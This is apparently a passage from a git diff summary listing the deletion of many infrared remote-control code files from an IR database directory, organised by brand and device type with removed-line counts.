.../_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir | 68 - .../_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir | 230 - .../_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir | 230 - .../_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir | 200 - .../_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir | 188 - .../_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir | 194 - .../Pace/Unknown_PACE-RC-10/132,60.ir | 176 - .../_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir | 350 - .../_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir | 158 - .../_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir | 194 - .../Pace/Unknown_TDS460NNZ/35,128.ir | 242 - .../_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir | 290 - .../_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir | 218 - .../Packard Bell/Unknown_PackBell/16,-1.ir | 206 - .../_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir | 212 - .../_CSV-IRDB_/Panasonic/DVD Player/128,0.ir | 38 - .../_CSV-IRDB_/Panasonic/DVD Player/160,0.ir | 68 - .../_CSV-IRDB_/Panasonic/DVD Player/160,16.ir | 8 - .../_CSV-IRDB_/Panasonic/DVD Player/160,18.ir | 20 - .../_CSV-IRDB_/Panasonic/DVD Player/160,28.ir | 122 - .../_CSV-IRDB_/Panasonic/DVD Player/160,34.ir | 200 - .../_CSV-IRDB_/Panasonic/DVD Player/160,4.ir | 20 - .../_CSV-IRDB_/Panasonic/DVD Player/176,0.ir | 554 - .../_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir | 146 - .../_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir | 230 - .../_CSV-IRDB_/Panasonic/Receiver/160,0.ir | 44 - .../_CSV-IRDB_/Panasonic/Receiver/160,28.ir | 8 - .../_CSV-IRDB_/Panasonic/Receiver/160,4.ir | 20 - .../_CSV-IRDB_/Panasonic/TV/128,0.ir | 554 - .../_CSV-IRDB_/Panasonic/TV/128,1.ir | 74 - .../_CSV-IRDB_/Panasonic/TV/128,4.ir | 80 - .../_CSV-IRDB_/Panasonic/TV/128,9.ir | 146 - .../Panasonic/Unknown_CARC60EX/129,106.ir | 50 - .../Panasonic/Unknown_EUR57510/144,0.ir | 68 - .../Panasonic/Unknown_EUR642162/160,194.ir | 170 - .../Panasonic/Unknown_EUR642195/160,194.ir | 230 - .../Panasonic/Unknown_EUR643820/160,194.ir | 158 - .../Panasonic/Unknown_EUR643826/160,194.ir | 158 - .../Panasonic/Unknown_EUR7617010/176,0.ir | 296 - .../Panasonic/Unknown_EUR7621010/176,0.ir | 266 - .../Panasonic/Unknown_EUR7631010/176,0.ir | 194 - .../Panasonic/Unknown_EUR7914Z20/128,72.ir | 116 - .../Panasonic/Unknown_N2QADC000006/128,72.ir | 98 - .../Panasonic/Unknown_N2QAHB0048/160,194.ir | 212 - .../Panasonic/Unknown_N2QAYB000064/128,72.ir | 116 - .../Panasonic/Unknown_NV-F65/144,0.ir | 182 - .../Panasonic/Unknown_PANASONIC/0,-1.ir | 152 - .../Panasonic/Unknown_PANASONIC/176,0.ir | 296 - .../Unknown_Panasonic-EUR571100/144,0.ir | 68 - .../Unknown_Panasonic-RAK-RX314W/160,194.ir | 224 - .../Panasonic/Unknown_RAK-RX309W/160,194.ir | 224 - .../Panasonic/Unknown_RC4346-01B/0,-1.ir | 236 - .../Panasonic/Unknown_RX-ED70/160,194.ir | 158 - .../_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir | 122 - .../_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir | 224 - .../Panasonic/Unknown_VEQ0910/144,0.ir | 200 - .../Panasonic/Unknown_VEQ1309/144,0.ir | 248 - .../Panasonic/Unknown_VEQ1697/112,8.ir | 68 - .../Panasonic/Unknown_VEQ2380/176,0.ir | 230 - .../Panasonic/Unknown_VSQS0531/2,-1.ir | 74 - .../Panasonic/Unknown_cd/160,194.ir | 110 - .../Panasonic/Unknown_panas928/160,194.ir | 26 - .../Unknown_panasonic-RAX-RX318W/160,194.ir | 212 - .../Panasonic/Unknown_panasonic.conf/144,0.ir | 200 - .../Panasonic/Unknown_veq2249/176,0.ir | 236 - .../_CSV-IRDB_/Panasonic/VCR/144,0.ir | 326 - .../_CSV-IRDB_/Panasonic/VCR/144,1.ir | 50 - .../_CSV-IRDB_/Panasonic/VCR/144,5.ir | 8 - .../_CSV-IRDB_/Panasonic/VCR/2,-1.ir | 68 - .../_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir | 284 - .../_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir | 188 - .../_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir | 212 - .../_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir | 272 - .../_CSV-IRDB_/Parasound/Receiver/134,97.ir | 50 - .../_CSV-IRDB_/Parasound/Receiver/27,-1.ir | 302 - .../_CSV-IRDB_/Parasound/Receiver/3,240.ir | 332 - .../Parasound/Surround Processor/3,240.ir | 158 - .../_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir | 296 - .../Philco/Unknown_PCR-111/80,-1.ir | 158 - .../_CSV-IRDB_/Philips/CD-R/20,-1.ir | 56 - .../_CSV-IRDB_/Philips/CD-R/26,-1.ir | 98 - .../_CSV-IRDB_/Philips/DSS/133,48.ir | 200 - .../_CSV-IRDB_/Philips/DSS/39,-1.ir | 122 - .../_CSV-IRDB_/Philips/DVD Player/4,-1.ir | 188 - .../Philips/Digital Recorder/133,48.ir | 1862 -- .../_CSV-IRDB_/Philips/Receiver/0,-1.ir | 14 - .../_CSV-IRDB_/Philips/Receiver/16,-1.ir | 62 - .../_CSV-IRDB_/Philips/Receiver/17,-1.ir | 122 - .../_CSV-IRDB_/Philips/Receiver/20,-1.ir | 8 - .../_CSV-IRDB_/Philips/Receiver/5,-1.ir | 8 - .../_CSV-IRDB_/Philips/TV/0,-1.ir | 404 - .../_CSV-IRDB_/Philips/TV/3,-1.ir | 62 - .../_CSV-IRDB_/Philips/Unknown_01/0,-1.ir | 158 - .../_CSV-IRDB_/Philips/Unknown_01/48,-1.ir | 260 - .../_CSV-IRDB_/Philips/Unknown_101/5,-1.ir | 176 - .../Philips/Unknown_130A/138,245.ir | 146 - .../Philips/Unknown_17PT1563/0,-1.ir | 176 - .../Philips/Unknown_26PFL5604H/0,-1.ir | 254 - .../Philips/Unknown_32PFL5403D/0,-1.ir | 218 - .../_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir | 266 - .../_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir | 188 - .../_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir | 542 - .../_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir | 182 - .../_CSV-IRDB_/Philips/Unknown_95/5,-1.ir | 116 - .../_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir | 92 - .../_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir | 122 - .../_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir | 74 - .../_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir | 158 - .../Philips/Unknown_DSX-5500/39,-1.ir | 200 - .../Philips/Unknown_DVD-724/4,-1.ir | 200 - .../_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir | 194 - .../Philips/Unknown_DVP-5982/4,-1.ir | 170 - .../Philips/Unknown_DVP-642/4,-1.ir | 200 - .../Philips/Unknown_FW2104/134,83.ir | 296 - .../_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir | 188 - .../_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir | 122 - .../_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir | 152 - .../_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir | 140 - .../Philips/Unknown_PHDVD5/26,154.ir | 236 - .../Philips/Unknown_PHILIPS/0,-1.ir | 194 - .../Philips/Unknown_PHILIPS/34,-1.ir | 152 - .../Philips/Unknown_PM725S/27,-1.ir | 230 - .../64,47.ir | 218 - .../Philips/Unknown_R-48F01/20,-1.ir | 128 - .../Philips/Unknown_RC-2012/4,-1.ir | 182 - .../_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir | 38 - .../_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir | 482 - .../Philips/Unknown_RC-7843/0,-1.ir | 176 - .../_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir | 332 - .../_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir | 116 - .../Philips/Unknown_RC19042002/0,-1.ir | 248 - .../Philips/Unknown_RC19237006/4,-1.ir | 224 - .../Philips/Unknown_RC19335003-01P/0,-1.ir | 98 - .../Philips/Unknown_RC2034302/0,-1.ir | 230 - .../_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir | 302 - .../Philips/Unknown_RC2582/39,-1.ir | 170 - .../Philips/Unknown_RC5-BP6/0,-1.ir | 218 - .../_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir | 392 - .../_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir | 176 - .../Philips/Unknown_RC7925/26,-1.ir | 164 - .../Philips/Unknown_RC8244/10,-1.ir | 182 - .../_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir | 164 - .../Philips/Unknown_RCLE011/0,-1.ir | 212 - .../Philips/Unknown_RD6834/20,-1.ir | 122 - .../_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir | 176 - .../_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir | 62 - .../Philips/Unknown_SBC-RU-520/5,-1.ir | 560 - .../_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir | 290 - .../_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir | 164 - .../_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir | 218 - .../Philips/Unknown_SRM5100/4,15.ir | 272 - .../_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir | 272 - .../Philips/Unknown_STEREO/164,164.ir | 38 - .../_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir | 188 - .../Philips/Unknown_TIVO34/133,48.ir | 236 - .../_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir | 164 - .../_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir | 170 - .../_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir | 164 - .../Philips/Unknown_digital/0,-1.ir | 236 - .../_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir | 206 - .../Unknown_philips-rc2592-MODE-v1/8,-1.ir | 200 - .../Philips/Unknown_rd5860.conf/20,-1.ir | 134 - .../Philips/Unknown_uDigital/0,-1.ir | 218 - .../_CSV-IRDB_/Philips/VCR/5,-1.ir | 176 - .../Phonotrend/Unknown_Prestige/4,-1.ir | 260 - .../Pinnacle Systems/Unknown_300i/17,20.ir | 254 - .../Pinnacle Systems/Unknown_800i/7,-1.ir | 152 - .../Pinnacle Systems/Unknown_PCTV/7,-1.ir | 146 - .../Pinnacle Systems/Unknown_RC-42D/7,-1.ir | 254 - .../_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir | 8 - .../_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir | 8 - .../_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir | 182 - .../_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir | 524 - .../_CSV-IRDB_/Pioneer/CD Player/162,-1.ir | 158 - .../_CSV-IRDB_/Pioneer/Cable Box/168,40.ir | 14 - .../_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir | 8 - .../_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir | 140 - .../Pioneer/Cassette Tape/161,-1.ir | 152 - .../_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir | 296 - .../_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir | 254 - .../_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir | 236 - .../_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir | 188 - .../_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir | 752 - .../_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir | 458 - .../_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir | 158 - .../_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir | 692 - .../_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir | 128 - .../_CSV-IRDB_/Pioneer/Receiver/164,-1.ir | 104 - .../_CSV-IRDB_/Pioneer/Receiver/165,-1.ir | 368 - .../_CSV-IRDB_/Pioneer/TV/170,-1.ir | 464 - .../_CSV-IRDB_/Pioneer/TV/175,-1.ir | 32 - .../Pioneer/Unknown_AXD-1531/170,-1.ir | 302 - .../Pioneer/Unknown_AXD-7306/166,-1.ir | 134 - .../_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir | 218 - .../Pioneer/Unknown_CU-CLD067/168,-1.ir | 140 - .../Pioneer/Unknown_CU-CLD106/168,-1.ir | 206 - .../Pioneer/Unknown_CU-PD008/162,-1.ir | 188 - .../Pioneer/Unknown_CU-PD038/162,-1.ir | 146 - .../Pioneer/Unknown_CU-PD046/162,-1.ir | 146 - .../Pioneer/Unknown_CU-PD069/162,-1.ir | 146 - .../Pioneer/Unknown_CU-PD085/162,-1.ir | 146 - .../Pioneer/Unknown_CU-PD089/162,-1.ir | 254 - .../Pioneer/Unknown_DEH-D8850/0,-1.ir | 194 - .../Pioneer/Unknown_PD-M650/162,-1.ir | 206 - .../Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir | 188 - .../Pioneer/Unknown_VXX2801/163,-1.ir | 224 - .../Pioneer/Unknown_cu-pd096/162,-1.ir | 140 - .../Pioneer/Unknown_pioneer/162,-1.ir | 236 - .../Pioneer/Unknown_pioneer/168,-1.ir | 164 - .../PixelView/Unknown_2000/63,-1.ir | 398 - .../PixelView/Unknown_PlayTV/134,107.ir | 350 - .../Polaroid/Unknown_DVDP-1000/32,-1.ir | 272 - .../_CSV-IRDB_/Pragmatic/Router/172,-1.ir | 50 - .../_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir | 104 - .../Proceed/Surround Processor/5,-1.ir | 122 - .../_CSV-IRDB_/Proscan/DVD Player/15,-1.ir | 14 - .../_CSV-IRDB_/Proscan/DVD Player/5,-1.ir | 224 - .../_CSV-IRDB_/Proscan/TV/15,-1.ir | 440 - .../Proscan/Unknown_proscan-vcr/14,-1.ir | 236 - .../_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir | 122 - .../_CSV-IRDB_/Proton/TV/17,-1.ir | 56 - .../_CSV-IRDB_/Proton/TV/2,-1.ir | 50 - .../_CSV-IRDB_/Proton/TV/3,-1.ir | 152 - .../_CSV-IRDB_/Proton/TV/4,-1.ir | 110 - .../Provideo/Unknown_PV951/134,107.ir | 182 - .../Provision/Unknown_PR-DVD2.0/1,-1.ir | 236 - .../Provision/Unknown_PRDVD2166/0,153.ir | 260 - .../_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir | 200 - .../_CSV-IRDB_/Quasar/TV/128,0.ir | 122 - .../_CSV-IRDB_/RCA/DSS/15,-1.ir | 20 - .../_CSV-IRDB_/RCA/DSS/7,-1.ir | 332 - .../_CSV-IRDB_/RCA/DVD Player/5,-1.ir | 374 - .../_CSV-IRDB_/RCA/Laser Disc/13,-1.ir | 206 - .../_CSV-IRDB_/RCA/TV/14,-1.ir | 8 - .../_CSV-IRDB_/RCA/TV/15,-1.ir | 428 - .../optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir | 8 - .../_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir | 194 - .../_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir | 122 - .../_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir | 200 - .../RCA/Unknown_RCA-F20507CP/15,-1.ir | 146 - .../_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir | 236 - .../_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir | 56 - .../_CSV-IRDB_/RCA/VCR/14,-1.ir | 170 - .../_CSV-IRDB_/RCA/VCR/15,-1.ir | 14 - .../_CSV-IRDB_/RSQ/Karaoke/179,-1.ir | 44 - .../_CSV-IRDB_/RSQ/Karaoke/191,-1.ir | 158 - .../_CSV-IRDB_/RSQ/Karaoke/3,-1.ir | 8 - .../Radio Shack/Unknown_RS2142/5,-1.ir | 206 - .../Radio Shack/Unknown_RadioShack/3,1.ir | 14 - .../Unknown_Radioshack2115/5,-1.ir | 218 - .../_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir | 116 - .../_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir | 200 - .../Radix/Unknown_DTR-9000-Twin/0,127.ir | 230 - .../_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir | 140 - .../Radix/Unknown_lircd.conf/0,127.ir | 194 - .../_CSV-IRDB_/Radix/Unknown_radix/138,245.ir | 152 - .../Raite/Unknown_RaiteDVD-7xx/32,-1.ir | 260 - .../_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir | 170 - .../_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir | 308 - .../optional-assets/_CSV-IRDB_/ReadMe.md | 5 - .../_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir | 260 - .../_CSV-IRDB_/Rega/Receiver/110,-1.ir | 140 - .../_CSV-IRDB_/Rega/Receiver/135,124.ir | 26 - .../_CSV-IRDB_/Rega/Receiver/16,-1.ir | 68 - .../Replay Networks/Digital Recorder/1,0.ir | 362 - .../_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir | 218 - .../_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir | 164 - .../Revoy/Unknown_Revoy2200/0,153.ir | 272 - .../_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir | 164 - .../Roku/Unknown_Netflix/190,239.ir | 56 - .../Roku/Unknown_Soundbridge/111,-1.ir | 164 - .../_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir | 296 - .../Rolsen/Unknown_K10B-C1/14,14.ir | 158 - .../_CSV-IRDB_/Rotel/CD Player/20,-1.ir | 32 - .../_CSV-IRDB_/Rotel/Tuner/82,0.ir | 110 - .../_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir | 152 - .../_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir | 272 - .../_CSV-IRDB_/Runco/Line Doubler/4,-1.ir | 56 - .../_CSV-IRDB_/Runco/Video Controller/1,-1.ir | 98 - .../_CSV-IRDB_/Runco/Video Projector/1,-1.ir | 182 - .../Runco/Video Projector/24,247.ir | 236 - .../_CSV-IRDB_/Runco/Video Projector/5,1.ir | 134 - .../_CSV-IRDB_/Russound/Music Server/10,-1.ir | 146 - .../_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir | 146 - .../_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir | 212 - .../_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir | 134 - .../SEG/Unknown_E6900-X020A/2,-1.ir | 308 - .../SEG/Unknown_SEG-DVD-430/32,-1.ir | 260 - .../SEG/Unknown_SEG-VCR4300/21,-1.ir | 224 - .../_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir | 128 - .../_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir | 140 - .../_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir | 122 - .../_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir | 224 - .../_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir | 152 - .../_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir | 236 - .../_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir | 242 - .../_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir | 254 - .../_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir | 296 - .../STRONG/Unknown_STRONG/128,119.ir | 200 - .../SUPERSQNY/Unknown_KM-168/0,-1.ir | 290 - .../_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir | 80 - .../_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir | 80 - .../Sagem/Unknown_DVB-T-Receiver/135,94.ir | 200 - .../Sagem/Unknown_HD103-C/135,94.ir | 194 - .../_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir | 230 - .../_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir | 164 - .../_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir | 62 - .../Samsung/Rear Projection DLP TV/7,7.ir | 86 - .../_CSV-IRDB_/Samsung/TV/7,7.ir | 206 - .../Samsung/Unknown_00011k/102,0.ir | 224 - .../_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir | 218 - .../Samsung/Unknown_00054d/102,0.ir | 230 - .../Samsung/Unknown_00056A/102,0.ir | 236 - .../_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir | 158 - .../Samsung/Unknown_00092M/102,0.ir | 254 - .../Samsung/Unknown_00092b/102,0.ir | 254 - .../_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir | 146 - .../_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir | 176 - .../_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir | 146 - .../_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir | 176 - .../Samsung/Unknown_01043A/102,0.ir | 74 - .../_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir | 146 - .../_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir | 74 - .../_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir | 110 - .../_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir | 140 - .../Samsung/Unknown_AA59-00316b/7,7.ir | 194 - .../Samsung/Unknown_AA59-00332D/7,7.ir | 182 - .../Samsung/Unknown_AA59-00370A/7,7.ir | 236 - .../Samsung/Unknown_AA59-00382A/7,7.ir | 272 - .../Samsung/Unknown_AA59-00600A/7,7.ir | 266 - .../Samsung/Unknown_AA59-10026E/5,5.ir | 212 - .../Samsung/Unknown_AA64-50236A/7,7.ir | 158 - .../Samsung/Unknown_AH59-01527F/67,83.ir | 326 - .../Samsung/Unknown_AH59-02345A/7,7.ir | 212 - .../_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir | 74 - .../Samsung/Unknown_BN59-00507A/7,7.ir | 272 - .../Samsung/Unknown_BN59-00538A/7,7.ir | 326 - .../Samsung/Unknown_BN59-00603A/7,7.ir | 326 - .../Samsung/Unknown_BN59-00609A/7,7.ir | 272 - .../Samsung/Unknown_BN59-00634A/9,9.ir | 182 - .../Samsung/Unknown_BN59-00678A/7,7.ir | 236 - .../Samsung/Unknown_BN59-00683A/7,7.ir | 290 - .../Samsung/Unknown_BN59-00685A/7,7.ir | 272 - .../Samsung/Unknown_BN59-00856A/7,7.ir | 290 - .../Samsung/Unknown_BN59-00861A/7,7.ir | 290 - .../Samsung/Unknown_BN59-00865A/7,7.ir | 230 - .../Samsung/Unknown_BN59-00869A/7,7.ir | 236 - .../Samsung/Unknown_BN59-00940A/7,7.ir | 290 - .../Samsung/Unknown_BRM-E1E/33,33.ir | 74 - .../_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir | 86 - .../Samsung/Unknown_MF59-00242B/9,9.ir | 206 - .../Samsung/Unknown_MF59-00291a/32,0.ir | 236 - .../_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir | 206 - .../_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir | 86 - .../_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir | 92 - .../Samsung/Unknown_SAMSUNG/102,0.ir | 254 - .../_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir | 242 - .../_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir | 290 - .../_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir | 176 - .../Samsung/Unknown_SFT-702E/64,-1.ir | 224 - .../Samsung/Unknown_SMT-1000T/64,64.ir | 218 - .../Samsung/Unknown_SMT-H3050/27,-1.ir | 110 - .../_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir | 260 - .../_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir | 242 - .../_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir | 272 - .../Samsung/Unknown_SV-DVD3E/5,5.ir | 266 - .../_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir | 146 - .../_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir | 236 - .../_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir | 248 - .../_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir | 194 - .../Samsung/Unknown_samsung-10095T/7,7.ir | 152 - .../_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir | 170 - .../_CSV-IRDB_/Samsung/VCR/2,2.ir | 80 - .../_CSV-IRDB_/Samsung/VCR/5,5.ir | 554 - .../_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir | 266 - .../Sansonic/Unknown_FT-300A/0,-1.ir | 164 - .../Sansui/Unknown_SANSUI-RS-S103/132,77.ir | 158 - .../_CSV-IRDB_/Sanyo/TV/56,-1.ir | 140 - .../_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir | 158 - .../_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir | 188 - .../_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir | 200 - .../_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir | 182 - .../_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir | 206 - .../Sanyo/Unknown_RB-DA300/60,-1.ir | 200 - .../Sanyo/Unknown_RB-SL22/60,196.ir | 266 - .../_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir | 200 - .../_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir | 194 - .../Sanyo/Unknown_Sanyo-B13509/49,-1.ir | 194 - .../Sanyo/Unknown_Sanyo-JXZB/56,-1.ir | 194 - .../_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir | 194 - .../_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir | 140 - .../_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir | 122 - .../_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir | 170 - .../Sanyo/Unknown_sanyo-tv01/56,-1.ir | 152 - .../Sanyo/Unknown_sanyoB13537/49,-1.ir | 200 - .../_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir | 146 - .../_CSV-IRDB_/Satelco/Sat/24,-1.ir | 296 - .../Schneider/Unknown_FB2000/5,-1.ir | 188 - .../Schneider/Unknown_RC-193/154,-1.ir | 260 - .../Schneider/Unknown_RC202/11,11.ir | 188 - .../Schneider/Unknown_RC901/28,-1.ir | 218 - .../Schneider/Unknown_RC902/0,-1.ir | 218 - .../_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir | 206 - .../Scientific Atlanta/Cable Box/27,-1.ir | 212 - .../Scientific Atlanta/Cable Box/71,-1.ir | 20 - .../Unknown_Atlanta-1840/27,-1.ir | 254 - .../Scientific Atlanta/Unknown_IV/27,-1.ir | 248 - .../Unknown_RM9834/27,-1.ir | 164 - .../Unknown_SAE8000/27,-1.ir | 302 - .../_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir | 248 - .../Scott/Unknown_scott-dvd/4,-1.ir | 290 - .../_CSV-IRDB_/Seleco/TV/0,-1.ir | 98 - .../_CSV-IRDB_/Seleco/TV/30,-1.ir | 98 - .../Sencor/Unknown_SFN9011SL/0,252.ir | 38 - .../_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir | 134 - .../_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir | 14 - .../_CSV-IRDB_/Sharp/Monitor/1,-1.ir | 62 - .../_CSV-IRDB_/Sharp/TV/1,-1.ir | 140 - .../Sharp/Unknown_CV-2131CK1/1,-1.ir | 140 - .../_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir | 122 - .../_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir | 140 - .../Sharp/Unknown_G0938CESA/1,-1.ir | 230 - .../Sharp/Unknown_G1014BMSA/1,-1.ir | 224 - .../Sharp/Unknown_G1044BMSA/1,-1.ir | 242 - .../_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir | 308 - .../Sharp/Unknown_RRMCGA030WJSA/8,48.ir | 254 - .../_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir | 152 - .../Sharp/Unknown_sharp1781/1,-1.ir | 146 - .../_CSV-IRDB_/Sharp/VCR/3,-1.ir | 194 - .../_CSV-IRDB_/Sharp/Video Projector/13,-1.ir | 62 - .../_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir | 134 - .../_CSV-IRDB_/Sherwood/Receiver/131,69.ir | 80 - .../Sherwood/Unknown_GC-1285/129,114.ir | 218 - .../Sherwood/Unknown_RM-101/69,131.ir | 188 - .../Sherwood/Unknown_RM-636/131,68.ir | 332 - .../Sherwood/Unknown_RM-RV-N25/131,68.ir | 392 - .../Unknown_Sherwood-S2770R-CP-II/129,123.ir | 254 - .../Sherwood/Unknown_sherwood/129,122.ir | 134 - .../Sherwood/Unknown_sherwood/131,69.ir | 290 - 